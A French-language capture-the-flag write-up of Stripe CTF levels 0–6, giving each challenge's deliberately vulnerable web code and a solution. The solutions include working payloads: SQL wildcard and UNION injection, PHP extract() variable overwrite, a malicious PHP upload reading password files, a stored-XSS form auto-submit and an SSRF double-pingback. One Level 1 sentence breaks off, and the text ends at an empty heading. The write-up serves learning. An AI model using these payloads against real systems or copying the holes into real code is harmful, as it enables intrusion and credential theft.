Enonce
We'll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets.
It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes…
You can access the Secret Safe at https://level00-1.stripe-ctf.com/user-kfsvkinufw.
The Safe's code is included below, and can also be obtained via git clone https://level00-1.stripe-ctf.com/user-kfsvkinufw/level00-code.
Code
Here's the code for level00.js, the main server file:
// Install dependencies with 'npm install' // Run as 'node level00.js' var express = require('express'), // Web framework mu = require('mu2'), // Mustache.js templating sqlite3 = require('sqlite3'); // SQLite (database) driver // Look for templates in the current directory mu.root = __dirname; // Set up the DB var db = new sqlite3.Database('level00.db'); db.run( 'CREATE TABLE IF NOT EXISTS secrets (' + 'key varchar(255),' + 'secret varchar(255)' + ')' ); // Create the server var app = express(); app.use(express.bodyParser()); function renderPage(res, variables) { var stream = mu.compileAndRender('level00.html', variables); res.header('Content-Type', 'text/html'); stream.pipe(res); } app.get('/*', function(req, res) { var namespace = req.param('namespace'); if (namespace) { var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"'; db.all(query, namespace, function(err, secrets) { if (err) throw err; renderPage(res, {namespace: namespace, secrets: secrets}); }); } else { renderPage(res, {}); } }); app.post('/*', function(req, res) { var namespace = req.body['namespace']; var secret_name = req.body['secret_name']; var secret_value = req.body['secret_value']; var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)'; db.run(query, namespace, secret_name, secret_value, function(err) { if (err) throw err; res.header('Content-Type', 'text/html'); res.redirect(req.path + '?namespace=' + namespace); }); }); if (process.argv.length > 2) { var socket = process.argv[2]; console.log("Starting server on UNIX socket " + socket); app.listen(socket); } else { console.log("Starting server at http://localhost:3000/"); app.listen(3000); }
And here's the code for level00.html, its mustache.js template:
<html> <head> <title>Secret Safe</title> </head> <body> {{#namespace}} <div style="border-width: 2px; border-style: outset; padding: 5px"> Showing secrets for <strong>{{namespace}}</strong>: <table> <thead> <tr> <th>Key</th> <th>Value</th> </tr> </thead> <tbody> {{#secrets}} <tr> <td>{{ key }}</td> <td>{{ secret }}</td> </tr> {{/secrets}} {{^secrets}} <tr> <td span="2"> You have no secrets stored with us. Try using the form below. </td> </tr> {{/secrets}} </tbody> </table> <hr /> </div> {{/namespace}} <form action="" method="POST"> <p> <label for="namespace">Namespace:</label> <input type="text" name="namespace" id="namespace" value="{{ namespace }}" /> </p> <p> <label for="secret_name">Name of your secret:</label> <input type="text" name="secret_name" id="secret_name"> </p> <p> <label for="secret_value">Your secret:</label> <input type="password" name="secret_value" id="secret_value"> </p> <p> <input type="submit" value="Store my secret!" /> </p> </form> <form action="" method="GET"> <label for="change_namespace"> Want to retrieve your secrets? View secrets for: </label> <input name="namespace" id="change_namespace" /> <input type="submit" value="View" /> </form> </body> </html>
Solution
Pour ajouter un secret, il faut definir le namespace, une cle et une valeur, secret qui sera stocké sous la forme key = namespace.cle
et secret = valeur
app.post('/*', function(req, res) { var namespace = req.body['namespace']; var secret_name = req.body['secret_name']; var secret_value = req.body['secret_value']; var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)'; db.run(query, namespace, secret_name, secret_value, function(err) {
La requete GET pour afficher les secrets requiert un parametre, le namespace et est construite avec
app.get('/*', function(req, res) { var namespace = req.param('namespace'); if (namespace) { var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"'; db.all(query, namespace, function(err, secrets) {
Cette requete affiche donc tous les secrets du namespace passé en argument. Il suffit d'utiliser % comme parametre pour afficher tous les secrets de tous les namespaces et donc le mot de passe.
Enonce
Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you'll be given
the password to access Level 2! We've been assured that this level has no security vulnerabilities in it
(and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn't be able to extract the password anyway), so >you'll probably just have to try all the possible combinations. Or will you…?
You can play the Guessing Game at https://level01-2.stripe-ctf.com/user-ntyjkglswi. The code for the Game can be obtained from
git clone https://level01-2.stripe-ctf.com/user-ntyjkglswi/level01-code, and is also included below.
Code
The contents of index.php
<html> <head> <title>Guessing Game</title> </head> <body> <h1>Welcome to the Guessing Game!</h1> <p> Guess the secret combination below, and if you get it right, you'll get the password to the next level! </p> <?php $filename = 'secret-combination.txt'; extract($_GET); if (isset($attempt)) { $combination = trim(file_get_contents($filename)); if ($attempt === $combination) { echo "<p>How did you know the secret combination was" . " $combination!?</p>"; $next = file_get_contents('level02-password.txt'); echo "<p>You've earned the password to the access Level 2:" . " $next</p>"; } else { echo "<p>Incorrect! The secret combination is not $attempt</p>"; } } ?> <form action="#" method="GET"> <p><input type="text" name="attempt"></p> <p><input type="submit" value="Guess!"></p> </form> </body> </html>
Solution
Le code php prend l'input de la requete GET attempt
en utilisant la methode extract(_GET)
. Ensuite le serveur lit le contenu du fichier $filename
. Si le parametre attempt
est egal au contenu du fichier $filename
, le mot de passe est affiche.
L'ordre dans lequel le serveur definit le fichier a lire et le lit est important. En effet, la variable $filename
est initialisee, puis les parametres de la requete GET sont lus et finalement le contenu du fichier est lu. En ajoutant a la requete GET un parametre filename
, ce parametre va remplacer le contenu de la variable $filename
par le nom de notre fichier. Il ne reste plus qu'a trouver un fichier dont on connait le contenu, par exemple
Autre solution :
Le fichier a n'existant pas il suffit de laisser le champ password vide.
Enonce
You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days,
so we decided to build one for CTF. Please fill out your profile at https://level02-3.stripe-ctf.com/user-zjfpnuykfi.
You may even be able to find the password for Level 3 by doing so.
The code for the Social Network can be obtained from git clone https://level02-3.stripe-ctf.com/user-zjfpnuykfi/level02-code,
and is also included below.
Code
The contents of index.php
<?php session_start(); if ($_FILES["dispic"]["error"] > 0) { echo "<p>Error: " . $_FILES["dispic"]["error"] . "</p>"; } else { $dest_dir = "uploads/"; $dest = $dest_dir . basename($_FILES["dispic"]["name"]); $src = $_FILES["dispic"]["tmp_name"]; if (move_uploaded_file($src, $dest)) { $_SESSION["dispic_url"] = $dest; chmod($dest, 0644); echo "<p>Successfully uploaded your display picture.</p>"; } } $url = "https://upload.wikimedia.org/wikipedia/commons/f/f8/" . "Question_mark_alternate.svg"; if (isset($_SESSION["dispic_url"])) { $url = $_SESSION["dispic_url"]; } ?> <html> <head> <title>Welcome to the CTF!</title> </head> <body> <center> <h1>Welcome to the CTF Social Network!</h1> <div> <img src=<?php echo $url; ?> /> <?php if (!isset($_SESSION["dispic_url"])) { echo "<p>Oh, looks like you don't have a profile image" . " -- upload one now!</p>"; } ?> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="dispic" size="40" /> <input type="submit" value="Upload!"> </form> <p> Password for Level 3 (accessible only to members of the club): <a href="password.txt">password.txt</a> </p> </div> </center> </body> </html>
Solution
En cliquant sur le lien contenant le mot de passe, on obtient un 403 Forbidden. L'application permet d'uploader une image pour son profil. En analysant le code source, on s'apercoit qu'il n'y a aucune verification faite par le serveur et que l'on peut uploader n'importe quel fichier qui sera stocke dans le sous-repertoire uploads. Il suffit donc d'uploader un fichier php qui lira le contenu du fichier password.txt et l'affiche puis de l'appeler directement
<?php $combination = file_get_contents('../password.txt'); echo "$combination" ?>
Enonce
After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like Unbreakable Linux). >The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.
A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out at >https://level03-1.stripe-ctf.com/user-odmhvomxhm. As usual, you can fetch the code for the level (and some sample data) via git clone >https://level03-1.stripe-ctf.com/user-odmhvomxhm/level03-code, or you can read the code below.
Code
The source of the server, secretvault.py, is:
#!/usr/bin/env python # # Welcome to the Secret Safe! # # - users/users.db stores authentication info with the schema: # # CREATE TABLE users ( # id VARCHAR(255) PRIMARY KEY AUTOINCREMENT, # username VARCHAR(255), # password_hash VARCHAR(255), # salt VARCHAR(255) # ); # # - For extra security, the dictionary of secrets lives # data/secrets.json (so a compromise of the database won't # compromise the secrets themselves) import flask import hashlib import json import logging import os import sqlite3 import subprocess import sys from werkzeug import debug # Generate test data when running locally data_dir = os.path.join(os.path.dirname(__file__), 'data') if not os.path.exists(data_dir): import generate_data os.mkdir(data_dir) generate_data.main(data_dir, 'dummy-password', 'dummy-proof', 'dummy-plans') secrets = json.load(open(os.path.join(data_dir, 'secrets.json'))) index_html = open('index.html').read() app = flask.Flask(__name__) # Turn on backtraces, but turn off code execution (that'd be an easy level!) app.config['PROPAGATE_EXCEPTIONS'] = True app.wsgi_app = debug.DebuggedApplication(app.wsgi_app, evalex=False) app.logger.addHandler(logging.StreamHandler(sys.stderr)) # use persistent entropy file for secret_key app.secret_key = open(os.path.join(data_dir, 'entropy.dat')).read() # Allow setting url_root if needed try: from local_settings import url_root except ImportError: pass def absolute_url(path): return url_root + path @app.route('/') def index(): try: user_id = flask.session['user_id'] except KeyError: return index_html else: secret = secrets[str(user_id)] return (u'Welcome back! Your secret is: "{0}"'.format(secret) + u' (<a href="./logout">Log out</a>)\n') @app.route('/logout') def logout(): flask.session.pop('user_id', None) return flask.redirect(absolute_url('/')) @app.route('/login', methods=['POST']) def login(): username = flask.request.form.get('username') password = flask.request.form.get('password') if not username: return "Must provide username\n" if not password: return "Must provide password\n" conn = sqlite3.connect(os.path.join(data_dir, 'users.db')) cursor = conn.cursor() query = """SELECT id, password_hash, salt FROM users WHERE username = '{0}' LIMIT 1""".format(username) cursor.execute(query) res = cursor.fetchone() if not res: return "There's no such user {0}!\n".format(username) user_id, password_hash, salt = res calculated_hash = hashlib.sha256(password + salt) if calculated_hash.hexdigest() != password_hash: return "That's not the password for {0}!\n".format(username) flask.session['user_id'] = user_id return flask.redirect(absolute_url('/')) if __name__ == '__main__': # In development: app.run(debug=True) app.run()
And here's index.html, the HTML file it's serving:
<html> <body> <p> Welcome to the Secret Safe, a place to guard your most precious secrets! To retreive your secrets, log in below. </p> <p>The current users of the system store the following secrets:</p> <ul> <li>bob: Stores the password to access level 04</li> <li>eve: Stores the proof that P = NP </li> <li>mallory: Stores the plans to a perpetual motion machine </li> </ul> <p> You should use it too! <a href="http://www.youtube.com/watch?v=oHg5SJYRHA0">Contact us</a> to request a beta invite. </p> <form method="POST" action="./login"> <p> <label for="username">Username:</label> <input type="text" name="username" id="username"> </p> <p> <label for="password">Password:</label> <input type="password" name="password" id="password"> </p> <input type="submit" value="Recover your secrets now!"> </form> </body> </html>
Solution
Le mot de passe est le secret de bob. Il faut donc essayer de se connecter en tant que bob. Si on regarde comment est fait le login
query = """SELECT id, password_hash, salt FROM users WHERE username = '{0}' LIMIT 1""".format(username) cursor.execute(query) res = cursor.fetchone() if not res: return "There's no such user {0}!\n".format(username) user_id, password_hash, salt = res calculated_hash = hashlib.sha256(password + salt) if calculated_hash.hexdigest() != password_hash: return "That's not the password for {0}!\n".format(username)
il y a une requete faite pour voir si l'utilisateur existe dans la bdd et ensuite le hash du mot de passe + salt est compare a la valeur sauvegardee. On ne connait ni le mot de passe de bob, ni le salt, on va donc essayer de modifier la requete SQL pour qu'elle nous rende des valeurs que l'on aura fixees. Par exemple, on aimerait bien avoir a comme mot de passe et a comme salt. On calcule le hash du mot de passe et du salt
import hashlib password = 'a' salt = 'a' calculated_hash = hashlib.sha256(password + salt) print calculated_hash.hexdigest()
ce qui nous donne 961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506
Il ne nous reste plus qu'a manipuler la requete SQL pour que le premier resultat (a cause de LIMIT 1) contienne les bonnes valeurs (ie l'id de bob, le password_hash calcule et le salt choisi)
On utilise donc comme utilisateur aaa' union select id,”961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506”, “a” from users where username = 'bob et comme mot de passe a
Enonce
The Karma Trader is the world's best way to reward people for good deeds: https://level04-2.stripe-ctf.com/user-xuqitemtqa.
You can sign up for an account, and start transferring karma to people who you think are doing good in the world.
In order to ensure you're transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.
The very active user karma_fountain has infinite karma, making it a ripe account to obtain
(no one will notice a few extra karma trades here and there). The password for karma_fountain's account will give you access to Level 5.
You can obtain the full, runnable source for the Karma Trader from git clone https://level04-2.stripe-ctf.com/user-xuqitemtqa/level04-code.
We've included the most important files below.
Code
The contents of srv.rb
#!/usr/bin/env ruby require 'yaml' require 'set' require 'rubygems' require 'bundler/setup' require 'sequel' require 'sinatra' module KarmaTrader PASSWORD = File.read('password.txt').strip STARTING_KARMA = 500 KARMA_FOUNTAIN = 'karma_fountain' # Only needed in production URL_ROOT = File.read('url_root.txt').strip rescue '' module DB def self.db_file 'karma.db' end def self.conn @conn ||= Sequel.sqlite(db_file) end def self.init return if File.exists?(db_file) File.umask(0066) conn.create_table(:users) do primary_key :id String :username String :password Integer :karma Time :last_active end conn.create_table(:transfers) do primary_id :id String :from String :to Integer :amount end # Karma Fountain has infinite karma, so just set it to -1 conn[:users].insert( :username => KarmaTrader::KARMA_FOUNTAIN, :password => KarmaTrader::PASSWORD, :karma => -1, :last_active => Time.now.utc ) end end class KarmaSrv < Sinatra::Base set :environment, :production enable :sessions # Use persistent entropy file entropy_file = 'entropy.dat' unless File.exists?(entropy_file) File.open(entropy_file, 'w') do |f| f.write(OpenSSL::Random.random_bytes(24)) end end set :session_secret, File.read(entropy_file) helpers do def absolute_url(path) KarmaTrader::URL_ROOT + path end end # Hack to make this work with a URL root def redirect(url) super(absolute_url(url)) end def die(msg, view) @error = msg halt(erb(view)) end before do refresh_state update_last_active end def refresh_state @user = logged_in_user @transfers = transfers_for_user @trusts_me = trusts_me @registered_users = registered_users end def update_last_active return unless @user DB.conn[:users].where(:username => @user[:username]). update(:last_active => Time.now.utc) end def logged_in_user return unless username = session[:user] DB.conn[:users][:username => username] end def transfers_for_user return [] unless @user DB.conn[:transfers].where( Sequel.or(:from => @user[:username], :to => @user[:username]) ) end def trusts_me trusts_me = Set.new return trusts_me unless @user # Get all the users who have transferred credits to me DB.conn[:transfers].where(:to => @user[:username]). join(:users, :username => :from).each do |result| trusts_me.add(result[:username]) end trusts_me end def registered_users KarmaTrader::DB.conn[:users].reverse_order(:id) end # KARMA_FOUNTAIN gets all the karma it wants. (Part of why getting # its password would be so great...) def user_has_infinite_karma? @user[:username] == KARMA_FOUNTAIN end get '/' do if @user erb :home else erb :login end end get '/register' do erb :register end post '/register' do username = params[:username] password = params[:password] unless username && password die("Please specify both a username and a password.", :register) end unless username =~ /^\w+$/ die("Invalid username. Usernames must match /^\w+$/", :register) end unless DB.conn[:users].where(:username => username).count == 0 die("This username is already registered. Try another one.", :register) end DB.conn[:users].insert( :username => username, :password => password, :karma => STARTING_KARMA, :last_active => Time.now.utc ) session[:user] = username redirect '/' end get '/login' do redirect '/' end post '/login' do username = params[:username] password = params[:password] user = DB.conn[:users][:username => username, :password => password] unless user die('Could not authenticate. Perhaps you meant to register a new' \ ' account? (See link below.)', :login) end session[:user] = user[:username] redirect '/' end get '/transfer' do redirect '/' end post '/transfer' do redirect '/' unless @user from = @user[:username] to = params[:to] amount = params[:amount] die("Please fill out all the fields.", :home) unless amount && to amount = amount.to_i die("Invalid amount specified.", :home) if amount <= 0 die("You cannot send yourself karma!", :home) if to == from unless DB.conn[:users][:username => to] die("No user with username #{to.inspect} found.", :home) end unless user_has_infinite_karma? if @user[:karma] < amount die("You only have #{@user[:karma]} karma left.", :home) end end DB.conn[:transfers].insert(:from => from, :to => to, :amount => amount) DB.conn[:users].where(:username=>from).update(:karma => :karma - amount) DB.conn[:users].where(:username=>to).update(:karma => :karma + amount) refresh_state @success = "You successfully transfered #{amount} karma to" + " #{to.inspect}." erb :home end get '/logout' do session.clear redirect '/' end end end def main KarmaTrader::DB.init KarmaTrader::KarmaSrv.run! end if $0 == __FILE__ main exit(0) end
The contents of views/home.erb:
<h1>Welcome to Karma Trader!</h1> <h3>Home</h3> <p>You are logged in as <%= @user[:username] %>.</p> <h3>Transfer karma</h3> <p> You have <%= @user[:karma] %> karma at the moment. Transfer karma to people who have done good deeds and you think will keep doing good deeds in the future. </p> <p> Note that transferring karma to someone will reveal your password to them, which will hopefully incentivize you to only give karma to people you really trust. </p> <p> If you're anything like <strong>karma_fountain</strong>, you'll find yourself logging in every minute to see what new and exciting developments are afoot on the platform. (Though no need to be as paranoid as <strong>karma_fountain</strong> and firewall your outbound network connections so you can only make connections to the Karma Trader server itself.) </p> <p>See below for a list of all registered usernames.</p> <form action="<%= absolute_url('/transfer') %>" method="POST"> <p>To: <input type="to" name="to" /></p> <p>Amount of karma: <input type="text" name="amount" /></p> <p><input type="submit" value="Submit" /></p> </form> <h3>Past transfers</h3> <table border="1"> <tr> <th>From</th> <th>To</th> <th>Amount</th> </tr> <% @transfers.each do |transfer| %> <tr> <td><%= transfer[:from] %></td> <td><%= transfer[:to] %></td> <td><%= transfer[:amount] %></td> </tr> <% end %> </table> <h3> Registered Users </h3> <ul> <% @registered_users.each do |user| %> <% last_active = user[:last_active].strftime('%H:%M:%S UTC') %> <% if @trusts_me.include?(user[:username]) %> <li> <%= user[:username] %> (password: <%= user[:password] %>, last active <%= last_active %>) </li> <% elsif user[:username] == @user[:username] %> <li> <%= user[:username] %> (<strong>you</strong>, last active <%= last_active %>) </li> <% else %> <li> <%= user[:username] %> (password: <i>[hasn't yet transferred karma to you]</i>, last active <%= last_active %>) </li> <% end %> <% end %> </ul> <p><a href="<%= absolute_url('/logout') %>">Log out</a></p>
The contents of views/login.erb:
<h1> Welcome to Karma Trader, the best way to reward people for good deeds! </h1> <h3>Login</h3> <form action="<%= absolute_url('/login') %>" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="Log in" /></p> </form> <p> Don't have an account? <a href="<%= absolute_url('/register') %>">Register</a> now! </p>
The contents of views/register.erb:
<h1>Welcome to Karma Trader, the best way to reward people for good deeds!</h1> <h3>Register</h3> <form action="<%= absolute_url('/register') %>" method="POST"> <p>Pick your username: <input type="text" name="username" /></p> <p>Choose a password: <input type="password" name="password" /></p> <p><input type="submit" value="Create account" /></p> </form> <p>Already have an account? <a href="<%= absolute_url('/') %>">Log in</a> now!</p>
The contents of views/layout.erb:
<!doctype html> <html> <head> <title>Karma Trader</title> <script type="text/javascript" src="<%= absolute_url('/js/jquery-1.8.0.min.js') %>"></script> </head> <body> <% if @error %> <p>Error: <%= @error %></p> <% end %> <% if @success %> <p>Success: <%= @success %></p> <% end %> <%= yield %> </body> </html>
Solution
Apres avoir cree un account, on arrive sur la page principale qui affiche une form pour faire des transferts de karma ainsi que la liste des utilisteurs enregistres. Si ces derniers nous ont deja transfere du karma, leur mot de passe est affiche. Le mot de passe du niveau etant le mot de passe de l'utilisateur karma_fountain, il va falloir le convaincre de nous transferer du karma. Pour y parvenir, on va s'enregistrer avec un mot de passe specialement prepare de maniere a ce que lorsqu'on aura transfere du karma a karma_fountain, notre mot de passe sera affiche sur sa page et cela entrainera un transfert de karma vers notre compte et nous aurons son mot de passe.
Le script doit donc recuperer la forme, remplir les champs et la soumettre
<script> document.forms[0].to.value="mooh"; document.forms[0].amount.value=1; document.forms[0].submit(); </script>
On utilise donc par exemple mooh comme utilisateur, ce script comme mot de passe, on transfere 1 karma karma_fountain et on attend qu'il se connecte.
Enonce
Many attempts have been made at creating a federated identity system for the web (see OpenID, for example).
However, none of them have been successful. Until today.
The DomainAuthenticator is based off a novel protocol for establishing identities.
To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials
to the pingback URL, which returns either “AUTHENTICATED” or “DENIED”. If “AUTHENTICATED”, the site considers you signed in
as a user for the pingback domain.
You can check out the Stripe CTF DomainAuthenticator instance here: https://level05-2.stripe-ctf.com/user-afhnkxzjxh.
We've been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine…
To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access.
It can only make outbound requests to other stripe-ctf.com servers. Though, you've heard that someone forgot to internally firewall
off the high ports from the Level 2 server.
Interesting in setting up your own DomainAuthenticator? You can grab the source from
git clone https://level05-2.stripe-ctf.com/user-afhnkxzjxh/level05-code, or by reading on below.
Code
The contents of srv.rb
#!/usr/bin/env ruby require 'rubygems' require 'bundler/setup' require 'logger' require 'uri' require 'restclient' require 'sinatra' $log = Logger.new(STDERR) $log.level = Logger::INFO module DomainAuthenticator class DomainAuthenticatorSrv < Sinatra::Base set :environment, :production # Run with the production file on the server if File.exists?('production') PASSWORD_HOSTS = /^level05-\d+\.stripe-ctf\.com$/ ALLOWED_HOSTS = /\.stripe-ctf\.com$/ else PASSWORD_HOSTS = /^localhost$/ ALLOWED_HOSTS = // end PASSWORD = File.read('password.txt').strip enable :sessions # Use persistent entropy file entropy_file = 'entropy.dat' unless File.exists?(entropy_file) File.open(entropy_file, 'w') do |f| f.write(OpenSSL::Random.random_bytes(24)) end end set :session_secret, File.read(entropy_file) get '/*' do output = <<EOF <p> Welcome to the Domain Authenticator. Please authenticate as a user from your domain of choice. </p> <form action="" method="POST"> <p>Pingback URL: <input type="text" name="pingback" /></p> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="Submit"></p> </form> EOF user = session[:auth_user] host = session[:auth_host] if user && host output += "<p> You are authenticated as #{user}@#{host}. </p>" if host =~ PASSWORD_HOSTS output += "<p> Since you're a user of a password host and all," output += " you deserve to know this password: #{PASSWORD} </p>" end end output end post '/*' do pingback = params[:pingback] username = params[:username] password = params[:password] pingback = "http://#{pingback}" unless pingback.include?('://') host = URI.parse(pingback).host unless host =~ ALLOWED_HOSTS return "Host not allowed: #{host}" \ " (allowed authentication hosts are #{ALLOWED_HOSTS.inspect})" end begin body = perform_authenticate(pingback, username, password) rescue StandardError => e return "An unknown error occurred while requesting #{pingback}: #{e}" end if authenticated?(body) session[:auth_user] = username session[:auth_host] = host return "Remote server responded with: #{body}." \ " Authenticated as #{username}@#{host}!" else session[:auth_user] = nil session[:auth_host] = nil sleep(1) # prevent abuse return "Remote server responded with: #{body}." \ " Unable to authenticate as #{username}@#{host}." end end def perform_authenticate(url, username, password) $log.info("Sending request to #{url}") response = RestClient.post(url, {:password => password, :username => username}) body = response.body $log.info("Server responded with: #{body}") body end def authenticated?(body) body =~ /[^\w]AUTHENTICATED[^\w]*$/ end end end def main DomainAuthenticator::DomainAuthenticatorSrv.run! end if $0 == __FILE__ main exit(0) end
Solution
On a un formulaire avec 3 champs, l'url pour le pingback, le username et le password. L'application va faire une requete au serveur dont l'url a ete donnee et en fonction du resultat, l'utilisateur sera authentifie sur ce serveur.
PASSWORD_HOSTS = /^level05-\d+\.stripe-ctf\.com$/ ALLOWED_HOSTS = /\.stripe-ctf\.com$/
On remarque que seuls les serveurs sur stripe-ctf.com
sont permis. L'indice avec les high ports du serveur 2 est en fait un faux indice. C'est juste pour nous rappeler qu'il est possible d'uploader des fichiers sur ce serveur.
Pour etre authentifie, la reponse du serveur doit verifier:
def authenticated?(body) body =~ /[^\w]AUTHENTICATED[^\w]*$/ end
Si on upload le fichier suivant
<?php echo " AUTHENTICATED "; ?>
et on l'utilise directement comme adresse de pingback (https://level02-3.stripe-ctf.com/user-zjfpnuykfi/uploads/test3.php), l'application nous dit qu'on est bien authentifie. Malheureusement le mot de passe ne s'affiche pas car on est authentifie sur le serveur 02 et non 05
output += "<p> You are authenticated as #{user}@#{host}. </p>" if host =~ PASSWORD_HOSTS output += "<p> Since you're a user of a password host and all," output += " you deserve to know this password: #{PASSWORD} </p>" end
Il faut donc que l'url du pingback serveur commence par level05. Et comme l'a fait remarque Mortis, en ruby params lit les parametre GET et POST. En utilisant comme url https://level05-2.stripe-ctf.com/user-afhnkxzjxh/?pingback=https://level02-3.stripe-ctf.com/user-zjfpnuykfi/uploads/test3.php, l'application va faire un double pingback. Il faut donc que la premiere requete vers le serveur 02 verifie la regex body =~ /[^\w]AUTHENTICATED[^\w]*$/
. La reponse est de la forme: Server responded with: AUTHENTICATED …
. Si on utilise le meme fichier, lors du second pingback, la reponse ne verifie plus la condition body =~ /[^\w]AUTHENTICATED[^\w]*$/
a cause du Server responded with
sur la meme ligne. Il faut donc modifier le fichier php pour que cette condition soit aussi verifiee. En utilisant
<?php echo "\n"; echo " AUTHENTICATED "; echo "\n"; ?>
les 2 reponses des 2 pingbacks sont valides et l'application nous dit qu'on est authentifie sur le serveur 05 et affiche le mot de passe
Enonce
After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here: https://level06-2.stripe-ctf.com/user-fgdshrgpxf
The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you've learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user.
As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.
Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at git clone https://level06-2.stripe-ctf.com/user-fgdshrgpxf/level06-code. We've also included the most important files below.
Code
The contents of srv.rb
#!/usr/bin/env ruby require 'rubygems' require 'bundler/setup' require 'rack/utils' require 'rack/csrf' require 'json' require 'sequel' require 'sinatra' module Streamer PASSWORD = File.read('password.txt').strip # Only needed in production URL_ROOT = File.read('url_root.txt').strip rescue '' module DB def self.db_file 'streamer.db' end def self.conn @conn ||= Sequel.sqlite(db_file) end def self.safe_insert(table, key_values) key_values.each do |key, value| # Just in case people try to exfiltrate # level07-password-holder's password if value.kind_of?(String) && (value.include?('"') || value.include?("'")) raise "Value has unsafe characters" end end conn[table].insert(key_values) end def self.init return if File.exists?(db_file) File.umask(0066) conn.create_table(:users) do primary_key :id String :username String :password Time :last_active end conn.create_table(:posts) do primary_id :id String :user String :title String :body Time :time end conn[:users].insert(:username => 'level07-password-holder', :password => Streamer::PASSWORD, :last_active => Time.now.utc) conn[:posts].insert(:user => 'level07-password-holder', :title => 'Hello World', :body => "Welcome to Streamer, the most streamlined way of sharing updates with your friends! One great feature of Streamer is that no password resets are needed. I, for example, have a very complicated password (including apostrophes, quotes, you name it!). But I remember it by clicking my name on the right-hand side and seeing what my password is. Note also that Streamer can run entirely within your corporate firewall. My machine, for example, can only talk directly to the Streamer server itself!", :time => Time.now.utc) end end class StreamerSrv < Sinatra::Base set :environment, :production enable :sessions # Use persistent entropy file entropy_file = 'entropy.dat' unless File.exists?(entropy_file) File.open(entropy_file, 'w') do |f| f.write(OpenSSL::Random.random_bytes(24)) end end set :session_secret, File.read(entropy_file) use Rack::Csrf, :raise => true helpers do def absolute_url(path) Streamer::URL_ROOT + path end # Insert an hidden tag with the anti-CSRF token into your forms. def csrf_tag Rack::Csrf.csrf_tag(env) end # Return the anti-CSRF token def csrf_token Rack::Csrf.csrf_token(env) end # Return the field name which will be looked for in the requests. def csrf_field Rack::Csrf.csrf_field end include Rack::Utils alias_method :h, :escape_html end def redirect(url) super(absolute_url(url)) end before do @user = logged_in_user update_last_active end def logged_in_user if session[:user] @username = session[:user] @user = DB.conn[:users][:username => @username] end end def update_last_active return unless @user DB.conn[:users].where(:username => @user[:username]). update(:last_active => Time.now.utc) end def recent_posts # Grab the 5 most recent posts DB.conn[:posts].reverse_order(:time).limit(5).to_a.reverse end def registered_users DB.conn[:users].reverse_order(:id) end def die(msg, view) @error = msg halt(erb(view)) end get '/' do if @user @registered_users = registered_users @posts = recent_posts erb :home else erb :login end end get '/register' do erb :register end post '/register' do username = params[:username] password = params[:password] unless username && password die("Please specify both a username and a password.", :register) end unless DB.conn[:users].where(:username => username).count == 0 die("This username is already registered. Try another one.", :register) end DB.safe_insert(:users, :username => username, :password => password, :last_active => Time.now.utc ) session[:user] = username redirect '/' end get '/login' do redirect '/' end post '/login' do username = params[:username] password = params[:password] user = DB.conn[:users][:username => username, :password => password] unless user die('Could not authenticate. Perhaps you meant to register a new' \ ' account? (See link below.)', :login) end session[:user] = user[:username] redirect '/' end get '/logout' do session.clear redirect '/' end get '/user_info' do @password = @user[:password] erb :user_info end before '/ajax/*' do halt(403, 'Must be logged in!') unless @user end get '/ajax/posts' do recent_posts.to_json end post '/ajax/posts' do msg = create_post resp = {:response => msg} resp.to_json end # Fallback if JS breaks get '/posts' do redirect '/' end post '/posts' do create_post if @user redirect '/' end def create_post post_body = params[:body] title = params[:title] || 'untitled' if post_body DB.safe_insert(:posts, :user => @user[:username], :title => title, :body => post_body, :time => Time.now.utc ) 'Successfully added the post!' else 'No post body given!' end end end end def main Streamer::DB.init Streamer::StreamerSrv.run! end if $0 == __FILE__ main exit(0) end
The contents of views/home.erb
